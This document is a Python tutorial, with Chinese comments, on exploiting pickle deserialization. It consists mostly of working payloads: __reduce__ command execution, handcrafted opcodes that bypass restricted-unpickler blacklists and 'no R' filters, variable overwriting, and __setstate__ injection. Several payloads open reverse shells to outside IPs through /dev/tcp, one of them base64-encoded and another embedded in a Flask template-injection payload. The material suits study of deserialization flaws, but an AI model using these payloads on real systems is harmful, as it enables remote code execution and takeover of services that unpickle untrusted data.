import pickle
 
class Person():
    def __init__(self):
        self.age=18
        self.name="Pickle"
 
p=Person()
opcode=pickle.dumps(p)
print(opcode)
#结果如下
#b'\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06Person\x94\x93\x94)\x81\x94}\x94(\x8c\x03age\x94K\x12\x8c\x04name\x94\x8c\x06Pickle\x94ub.'
 
 
P=pickle.loads(opcode)
print('The age is:'+str(P.age),'The name is:'+P.name)
#结果如下
#The age is:18 The name is:Pickle

import pickle
import os
 
class Person():
    def __init__(self):
        self.age=18
        self.name="Pickle"
    def __reduce__(self):
        command=r"whoami"
        return (os.system,(command,))
 
p=Person()
opcode=pickle.dumps(p)
print(opcode)
 
P=pickle.loads(opcode)
print('The age is:'+str(P.age),'The name is:'+P.name)

import opcode
import pickletools

opcode = b'\x80\x03c__main__\nPerson\nq\x00)\x81q\x01}q\x02(X\x03\x00\x00\x00ageq\x03K\x12X\x04\x00\x00\x00nameq\x04X\x06\x00\x00\x00Pickleq\x05ub.'
pickletools.dis(opcode)

'''
    0: \x80 PROTO      3
    2: c    GLOBAL     '__main__ Person'
   19: q    BINPUT     0
   21: )    EMPTY_TUPLE
   22: \x81 NEWOBJ
   23: q    BINPUT     1
   25: }    EMPTY_DICT
   26: q    BINPUT     2
   28: (    MARK
   29: X        BINUNICODE 'age'
   37: q        BINPUT     3
   39: K        BININT1    18
   41: X        BINUNICODE 'name'
   50: q        BINPUT     4
   52: X        BINUNICODE 'Pickle'
   63: q        BINPUT     5
   65: u        SETITEMS   (MARK at 28)
   66: b    BUILD
   67: .    STOP
highest protocol among opcodes = 2
'''

def find_class(self, module, name):
        # Subclasses may override this.
        if self.proto < 3 and self.fix_imports:
            if (module, name) in _compat_pickle.NAME_MAPPING:
                module, name = _compat_pickle.NAME_MAPPING[(module, name)]
            elif module in _compat_pickle.IMPORT_MAPPING:
                module = _compat_pickle.IMPORT_MAPPING[module]
        __import__(module, level=0)
        if self.proto >= 4:
            return _getattribute(sys.modules[module], name)[0]
        else:
            return getattr(sys.modules[module], name)

import pickle
import os

class Test(object):
    def __reduce__(self):
        return (os.system,('calc',))

print(pickle.dumps(Test(), protocol=0))

# b'cnt\nsystem\np0\n(Vcalc\np1\ntp2\nRp3\n.'

import pickle
 
opcode=b'''cos
system
(S'whoami'
tRcos
system
(S'whoami'
tR.'''
pickle.loads(opcode)
 

b'''cos
system
(S"bash -c 'bash -i >& /dev/tcp/192.168.11.21/8888 0>&1'"
tR.

import base64
a='''V__setstate__
(S"bash -c 'bash -i >& /dev/tcp/124.223.91.44/2333 0>&1'"
ios
system
.'''
print(base64.b64encode(a.encode()))

import pickle
 
class Person:
    def __init__(self,age,name):
        self.age=age
        self.name=name
 
 
opcode=b'''c__main__
Person
(I18
S'Pickle'
tR.'''
 
p=pickle.loads(opcode)
print(p)
print(p.age,p.name)
 
###
<__main__.Person object at 0x00000223B2E14CD0>//地址，会根据您运行代码的机器和 Python 解释器的不同而不同
18 Pickle

import pickle

class User:
    def __init__(self,admin,guest):
        self.admin=admin
        self.guest=guest

import pickle

class User:
    def __init__(self):
        self.admin=False
        self.guest=True

u = User()
print(pickle.dumps(u))

# b'\x80\x03c__main__\nUser\nq\x00)\x81q\x01}q\x02(X\x05\x00\x00\x00adminq\x03\x89X\x05\x00\x00\x00guestq\x04\x88ub.'

'''
    0: \x80 PROTO      3
    2: c    GLOBAL     '__main__ User'
   17: q    BINPUT     0
   19: )    EMPTY_TUPLE
   20: \x81 NEWOBJ
   21: q    BINPUT     1
   23: }    EMPTY_DICT
   24: q    BINPUT     2
   26: (    MARK
   27: X        BINUNICODE 'admin'
   37: q        BINPUT     3
   39: \x89     NEWFALSE
   40: X        BINUNICODE 'guest'
   50: q        BINPUT     4
   52: \x88     NEWTRUE
   53: u        SETITEMS   (MARK at 26)
   54: b    BUILD
   55: .    STOP
highest protocol among opcodes = 2
'''

import opcode
import pickle
import pickletools

class User:
    def __init__(self,admin,guest):
        self.admin=admin
        self.guest=guest

opcode = b'\x80\x03c__main__\nUser\nq\x00)\x81q\x01}q\x02(X\x05\x00\x00\x00adminq\x03\x88X\x05\x00\x00\x00guestq\x04\x89ub.'
#pickletools.dis(opcode)

fakeUser = pickle.loads(opcode)
print(fakeUser.admin,fakeUser.guest)

# True False

#secret.py
secret="This is a key"

import pickle
import secret
 
print("secret变量的值为:"+secret.secret)
 
opcode=b'''c__main__
secret
(S'secret'
S'Hack!!!'
db.'''
fake=pickle.loads(opcode)
 
print("secret变量的值为:"+fake.secret)
 
###
secret变量的值为:This is a key
secret变量的值为:Hack!!!

import builtins
import io
import pickle
 
safe_builtins = {
    'range',
    'complex',
    'set',
    'frozenset',
    'slice',
}
 
class RestrictedUnpickler(pickle.Unpickler):
 
    #重写了find_class方法
    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name in safe_builtins:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))
 
def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()
 
opcode=b"cos\nsystem\n(S'echo hello world'\ntR."
restricted_loads(opcode)
 
 
###结果如下
Traceback (most recent call last):
...
_pickle.UnpicklingError: global 'os.system' is forbidden

if module == "builtins" and name in safe_builtins:
            return getattr(builtins, name)

import pickle
import io
import builtins
 
class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
 
    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))
 
def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()

import builtins
print(builtins.globals())
#{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'builtins': <module 'builtins' (built-in)>}

import pickle
import pickletools
 
opcode=b'''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR.
'''
pickletools.dis(opcode)
print(pickle.loads(opcode))
 
###结果如下
    0: c    GLOBAL     'builtins getattr'
   18: (    MARK
   19: c        GLOBAL     'builtins dict'
   34: S        STRING     'get'
   41: t        TUPLE      (MARK at 18)
   42: R    REDUCE
   43: .    STOP
highest protocol among opcodes = 0
<method 'get' of 'dict' objects>

import pickle
import pickletools
 
opcode2=b'''cbuiltins
globals
)R.
'''
 
pickletools.dis(opcode2)
print(pickle.loads(opcode2))
 
###结果如下
    0: c    GLOBAL     'builtins globals'
   18: )    EMPTY_TUPLE
   19: R    REDUCE
   20: .    STOP
highest protocol among opcodes = 1

{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x000001EF06A308B0>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'C:/Users/34946/Desktop/安全学习/Pickle_Learning/Pickle_builtins1.py', '__cached__': None, 'pickle': <module 'pickle' from 'C:\\Users\\34946\\AppData\\Local\\Programs\\Python\\Python38\\lib\\pickle.py'>, 'pickletools': <module 'pickletools' from 'C:\\Users\\34946\\AppData\\Local\\Programs\\Python\\Python38\\lib\\pickletools.py'>, 'opcode1': b"cbuiltins\ngetattr\n(cbuiltins\ndict\nS'get'\ntR.\n", 'opcode2': b'cbuiltins\nglobals\n)R.\n'}

import pickle
import pickletools
 
opcode3=b'''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tR.'''
 
#以上opcode相当于执行了builtins.getattr(builtins.dict,'get')(builtins.globals(),'builtins')
 
pickletools.dis(opcode3)
print(pickle.loads(opcode3))
 
###结果如下
    0: c    GLOBAL     'builtins getattr'
   18: (    MARK
   19: c        GLOBAL     'builtins dict'
   34: S        STRING     'get'
   41: t        TUPLE      (MARK at 18)
   42: R    REDUCE
   43: (    MARK
   44: c        GLOBAL     'builtins globals'
   62: (        MARK
   63: t            TUPLE      (MARK at 62)
   64: R        REDUCE
   65: S        STRING     'builtins'
   77: t        TUPLE      (MARK at 43)
   78: R    REDUCE
   79: .    STOP
highest protocol among opcodes = 0
<module 'builtins' (built-in)>

import pickle
import io
 
class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
 
    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))
 
def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()
 
 
opcode=b'''cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tRS'eval'
tR(S'__import__("os").system("whoami")'
tR.
'''
 
restricted_loads(opcode)
 #<built-in function eval>

import pickle
import io
 
class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
 
    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))
 
def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()
 
 
opcode=b'''cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tRS'eval'
tR(S'__import__("os").system("whoami")'
tR.
'''
 
restricted_loads(opcode)
 

#payload.py
 
#获取getattr函数
getattr = GLOBAL('builtins', 'getattr')
#获取字典的get方法
get = getattr(GLOBAL('builtins', 'dict'), 'get')
#获取globals方法
golbals=GLOBAL('builtins', 'globals')
#获取字典
builtins_dict=golbals()
#获取builtins模块
__builtins__ = get(builtins_dict, '__builtins__')
#获取eval函数
eval=getattr(__builtins__,'eval')
eval("__import__('os').system('whoami')")
return

python3 pker.py < pker_test.py
b"cbuiltins\ngetattr\np0\n0g0\n(cbuiltins\ndict\nS'get'\ntRp1\n0cbuiltins\nglobals\np2\n0g2\n(tRp3\n0g1\n(g3\nS'__builtins__'\ntRp4\n0g0\n(g4\nS'eval'\ntRp5\n0g5\n(S'__import__(\\'os\\').system(\\'whoami\\')'\ntR."

import pickle
import secret
import builtins
print(builtins.globals())
 
###
{..., 'pickle': <module 'pickle' from 'C:\\...\\Python\\Python38\\lib\\pickle.py'>, 'secret': <module 'secret' from 'C:\\...\\Pickle_Learning\\secret.py'>, 'builtins': <module 'builtins' (built-in)>}

import pickle
import pickletools
 
b=b'abcdef'
opcode=pickle.dumps(b,protocol=0)
pickletools.dis(opcode)

###
   0: c    GLOBAL     '_codecs encode'
   16: p    PUT        0
   19: (    MARK
   20: V        UNICODE    'abcdef'
   28: p        PUT        1
   31: V        UNICODE    'latin1'
   39: p        PUT        2
   42: t        TUPLE      (MARK at 19)
   43: p    PUT        3
   46: R    REDUCE
   47: p    PUT        4
   50: .    STOP
highest protocol among opcodes = 0

# Protocol 3 (Python 3.x)
 
BINBYTES       = b'B'   # push bytes; counted binary string argument
SHORT_BINBYTES = b'C'   #  "     "   ;    "      "       "      " < 256 bytes

import pickle
import pickletools
 
b=b'abcdef'
opcode=pickle.dumps(b,protocol=0)
pickletools.dis(opcode)

###
    0: \x80 PROTO      3
    2: C    SHORT_BINBYTES b'abcdef'
   10: q    BINPUT     0
   12: .    STOP
highest protocol among opcodes = 3

import pickle
import builtins
import pickletools
 
class Op:
    def __reduce__(self):
        return (getattr,(builtins.dict,'get',))
 
op=Op()
opcode=pickle.dumps(op,protocol=3)
print(opcode)
pickletools.dis(opcode)
 
###
b'\x80\x03cbuiltins\ngetattr\nq\x00cbuiltins\ndict\nq\x01X\x03\x00\x00\x00getq\x02\x86q\x03Rq\x04.'
    0: \x80 PROTO      3
    2: c    GLOBAL     'builtins getattr'
   20: q    BINPUT     0
   22: c    GLOBAL     'builtins dict'
   37: q    BINPUT     1
   39: X    BINUNICODE 'get'
   47: q    BINPUT     2
   49: \x86 TUPLE2
   50: q    BINPUT     3
   52: R    REDUCE
   53: q    BINPUT     4
   55: .    STOP
highest protocol among opcodes = 2

import pickle
 
opcode=b"\x80\x03cbuiltins\ngetattr\n(cbuiltins\ngetattr\ncbuiltins\ndict\nX\x03\x00\x00\x00get\x86R(cbuiltins\nglobals\n)RS'pickle'\ntRS'loads'\ntR."
print(pickle.loads(opcode))
 
###
<built-in function loads>

import pickle
import os
 
class Command:
    def __reduce__(self):
        command="whoami"
        return (os.system,(command,))
 
op=Command()
opcode=pickle.dumps(op,protocol=0)
print(opcode)
 
###
b'cnt\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'

import pickle
import pickletools
 
class bin:
    def __reduce__(self):
        return (pickle.loads,(b'''cos\nsystem\n(S'whoami'\ntR.''',))
 
b=bin()
# b=b'abcdef'
opcode=pickle.dumps(b,protocol=3)
print(opcode)
pickletools.dis(opcode)
 
###
b"\x80\x03c_pickle\nloads\nq\x00C\x19cos\nsystem\n(S'whoami'\ntR.q\x01\x85q\x02Rq\x03."
    0: \x80 PROTO      3
    2: c    GLOBAL     '_pickle loads'
   17: q    BINPUT     0
   19: C    SHORT_BINBYTES b"cos\nsystem\n(S'whoami'\ntR."
   46: q    BINPUT     1
   48: \x85 TUPLE1
   49: q    BINPUT     2
   51: R    REDUCE
   52: q    BINPUT     3
   54: .    STOP
highest protocol among opcodes = 3

import pickle
import io
import builtins
 
class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
 
    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))
 
def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()
 
opcode2=opcode=b"\x80\x03cbuiltins\ngetattr\n(cbuiltins\ngetattr\ncbuiltins\ndict\nX\x03\x00\x00\x00get\x86R(cbuiltins\nglobals\n)RS'pickle'\ntRS'loads'\ntRC\x19cos\nsystem\n(S'whoami'\ntR.\x85R."
restricted_loads(opcode2)
 

funcglob=GLOBAL("builtins","globals")
glob=funcglob()
dict=GLOBAL("builtins","dict")
getattr=GLOBAL("builtins","getattr")
get=getattr(dict,"get")
pickle=get(glob,"pickle")
loads=getattr(pickle,"loads")
loads("bytestr")

opcode=b"cbuiltins\nglobals\np0\n0g0\n(tRp1\n0cbuiltins\ndict\np2\n0cbuiltins\ngetattr\np3\n0g3\n(g2\nS'get'\ntRp4\n0g4\n(g1\nS'pickle'\ntRp5\n0g3\n(g5\nS'loads'\ntRp6\n0g6\n(B\x0E\x00\x00\x00youropcodehere\ntR"

import pickle
import stao
 
 
class Animal:
    def __init__(self, name, category):
        self.name = name
        self.category = category
 
 
    def __eq__(self, other):
        return type(other) is Animal and self.name == other.name and self.category == other.category
def check(data):
    if b'R' in data:
        return 'no reduce!'
    x=pickle.loads(data)
    if(x!= Animal(stao.name,stao.age)):
        print('not equal')
        return
    print('well done! {} {}'.format(stao.name,stao.age))

#stao.py
 
name="stao"
age=18

opcode=b'''(S'stao'
I18
i__main__
Animal
.'''

opcode=b'''(c__main__
Animal
S'stao'
I18
o.'''

opcode=b'''c__main__
stao
(S'name'
S'Hacker'
S'age'
I18
db(c__main__
Animal
S'Hacker'
I18
o.'''

BUILD          = b'b'   # call __setstate__ or __dict__.update()

import pickle
 
class Person:
    def __init__(self, name, age=0):
        self.name = name
        self.age = age
 
    def __str__(self):
        return f"name: {self.name}\nage: {self.age}"
 
 
class Child(Person):
    def __setstate__(self, state):
        print("invoke __setstate__")
        self.name=state
        self.age=10
 
    def __getstate__(self):
        print("invoke __getstate__")
        return "Child"
 
 
c1=Child("TEST")
print(c1)
#name: TEST
#age: 0
 
 
opcode=pickle.dumps(c1,protocol=0)
print(opcode)
#invoke __getstate__
#b'ccopy_reg\n_reconstructor\np0\n(c__main__\nChild\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\nVChild\np5\nb.'
 
c2=pickle.loads(opcode)
print(c2)
#invoke __setstate__
#name: Child
#age: 10

def load_build(self):
    stack = self.stack
    state = stack.pop()
    #首先获取栈上的字节码b前的一个元素，对于对象来说，该元素一般是存储有对象属性的dict
    inst = stack[-1]
    #获取该字典中键名为"__setstate__"的value
    setstate = getattr(inst, "__setstate__", None)
    #如果存在，则执行value(state)
    if setstate is not None:
        setstate(state)
        return
    slotstate = None
    if isinstance(state, tuple) and len(state) == 2:
        state, slotstate = state
    #如果"__setstate__"为空，则state与对象默认的__dict__合并，这一步其实就是将序列化前保存的持久化属性和对象属性字典合并
    if state:
        inst_dict = inst.__dict__
        intern = sys.intern
        for k, v in state.items():
            if type(k) is str:
                inst_dict[intern(k)] = v
            else:
                inst_dict[k] = v
    #如果__setstate__和__getstate__都没有设置，则加载默认__dict__
    if slotstate:
        for k, v in slotstate.items():
            setattr(inst, k, v)
dispatch[BUILD[0]] = load_build

opcode=b'''(c__main__
Animal
S'Casual'
I18
o}(S"__setstate__"    #向栈中压入一个空字典，然后再通过u修改为{"__setstate__":os.system}
cos
system
ubS"whoami"
b.'''

import pickle
import stao
import pickletools
 
class Animal:
    def __init__(self, name, category):
        self.name = name
        self.category = category
 
    def __eq__(self, other):
        return type(other) is Animal and self.name == other.name and self.category == other.category
def check(data):
    if b'R' in data:
        return 'no reduce!'
    x=pickle.loads(data)
    if(x!= Animal(stao.name,stao.age)):
        print('not equal')
        return
    print('well done! {} {}'.format(stao.name,stao.age))
 
opcode=b'''(c__main__
Animal
S'Casual'
I18
o}(S"__setstate__"
cos
system
ubS"whoami"
b.'''
check(opcode)
pickletools.dis(opcode)
 
###
xiaoh\34946
not equal
    0: (    MARK
    1: c        GLOBAL     '__main__ Animal'
   18: S        STRING     'Casual'
   28: I        INT        18
   32: o        OBJ        (MARK at 0)
   33: }    EMPTY_DICT
   34: (    MARK
   35: S        STRING     '__setstate__'
   51: c        GLOBAL     'os system'
   62: u        SETITEMS   (MARK at 34)
   63: b    BUILD
   64: S    STRING     'whoami'
   74: b    BUILD
   75: .    STOP
highest protocol among opcodes = 1

for x in map.__new__(map, eval, ['print(\'map\')']):  
    pass

for x in filter.__new__(filter, eval, ['print(\'filter\')']):  
    pass

r = map(eval, ['print(\'1\')'])
r.__next__()

r = filter(eval, ['print(\'2\')'])
r.__next__()

bytes.__new__(bytes, map.__new__(map, eval, ['print(1)']))  # bytes_new->PyBytes_FromObject->_PyBytes_FromIterator->PyIter_Next
tuple.__new__(tuple, map.__new__(map, exec, ["print('1')"]))  # tuple_new_impl->PySequence_Tuple->PyIter_Next

opcode=b'''c__builtin__
map
p0
0(S'whoami'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
tuple
p4
(g3
t\x81.'''

pickle.loads(opcode)

opcode=b'''c__builtin__
map
p0
0(S'whoami'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
bytes
p4
(g3
t\x81.'''

pickle.loads(opcode)

NEWOBJ  = b'\x81'  # build object by applying cls.__new__ to argtuple

c__main__
secret
(S'\x6bey'  #key
S'asd'
db.

b'''capp
admin
(S'\x73ecret'
I1
db0(capp
User
S"admin"
I1
o.'''

c__main__
secret
(V\u006bey  #key
S'asd'
db.

b'''capp
admin
(Vsecr\u0065t
I1
db0(capp
User
S"admin"
I1
o.'''

print(next(reversed(dir(sys.modules['admin']))))
 
#secret

opcode=b'''(((((c__main__
admin
i__builtin__
dir
i__builtin__
reversed
i__builtin__
next
.'''
print(pickle.loads(opcode))
 
#secret
   
获取到了secret字符串，下面就容易构造变量覆盖了

opcode = b'''c__main__
admin
(((((c__main__
admin
i__builtin__
dir
i__builtin__
reversed
i__builtin__
next
I1             //指定参数、索引
db(S'admin'
I1
i__main__
User
.'''

payload="cflask.templating\nrender_template_string\np0\n(S\"{% for x in (().__class__.__base__.__subclasses__()) %}{%if x.__name__ =='catch_warnings'%}{{x.__repr__.im_func.func_globals.linecache.os.system('bash -c \"bash -i >& /dev/tcp/172.17.0.1/12345 0>&1\" &')}}{%endif%}{%endfor%}\"\np1\ntp2\nRp3\n."